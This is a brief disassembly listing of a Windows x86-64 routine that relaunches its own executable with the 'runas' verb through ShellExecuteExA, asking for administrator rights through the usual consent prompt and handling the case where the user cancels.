call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x141531fa6
mov dword [rsp + 0x30], 0x70
lea rax, [rsp + 0x34]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, str.runas
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x60], 1
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x141531f9f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x4c7
jne 0x141531f9d
xor ecx, ecx
call fcn.141532a14
jmp 0x141531fa6
xor ecx, ecx
call fcn.141532a14
add rsp, 0x1b0
pop rdi
ret